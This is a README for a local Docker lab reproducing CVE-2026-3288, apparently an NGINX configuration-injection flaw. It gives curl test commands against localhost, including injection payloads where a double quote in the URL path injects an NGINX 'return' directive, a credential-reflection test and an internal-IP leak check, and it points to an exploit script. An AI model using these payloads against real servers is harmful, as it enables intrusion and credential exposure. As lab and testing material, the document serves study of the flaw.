README.md
Rendering markdown...
# CVE-2026-3288 Lab - Quick Testing Guide
## Lab is Running on Port 9090
All tests use: `http://localhost:9090`
---
## Test 1: Basic Connectivity
```bash
curl http://localhost:9090/
```
**Expected:** "CVE-2026-3288 Vulnerable Lab"
---
## Test 2: Configuration Injection (Main Vulnerability)
```bash
curl 'http://localhost:9090/api" return 200 "HACKED'
```
**Expected:** "HACKED - Configuration Injection Successful!"
**What's happening:** The double-quote (") in the path breaks out of NGINX's quoted string and injects `return 200 "HACKED"` directive.
---
## Test 3: Alternative Injection Endpoint
```bash
curl 'http://localhost:9090/vuln" return 200 "PWNED'
```
**Expected:** "PWNED - Injection via rewrite!"
---
## Test 4: Credential Theft
```bash
curl -H "Authorization: Bearer secret123" http://localhost:9090/login
```
**Expected:** JSON response showing your Authorization header was captured
**What's happening:** The backend reflects the Authorization header, demonstrating credential theft.
---
## Test 5: Internal IP Leak
```bash
curl 'http://localhost:9090/admin?internal_ip=true'
```
**Expected:** "Internal IP: 10.0.0.5"
**What's happening:** Injected logic reveals internal network information.
---
## Test 6: Backend Access
```bash
curl http://localhost:9090/backend
```
**Expected:** JSON response from Flask backend showing available endpoints
---
## Automated Testing
Run all tests at once:
```bash
cd /root/abhishek/cve/CVE-2026-3288-lab/exploits
python3 exploit.py --target http://localhost:9090 --all
```
---
## Check Container Status
```bash
docker-compose ps
```
Should show:
- cve-2026-3288-nginx: Up, 0.0.0.0:9090->80/tcp
- cve-2026-3288-backend: Up
- cve-2026-3288-monitor: Up
---
## View Logs
```bash
# NGINX access logs
docker-compose logs -f nginx
# Backend logs
docker-compose logs -f backend
# All logs
docker-compose logs -f
```
---
## Troubleshooting
**Port already in use?**
```bash
docker-compose down -v
docker-compose up -d
```
**Need to rebuild?**
```bash
docker-compose down -v
docker-compose build --no-cache
docker-compose up -d
```
**Check what's on port 9090:**
```bash
sudo lsof -i :9090
# or
sudo netstat -tulpn | grep :9090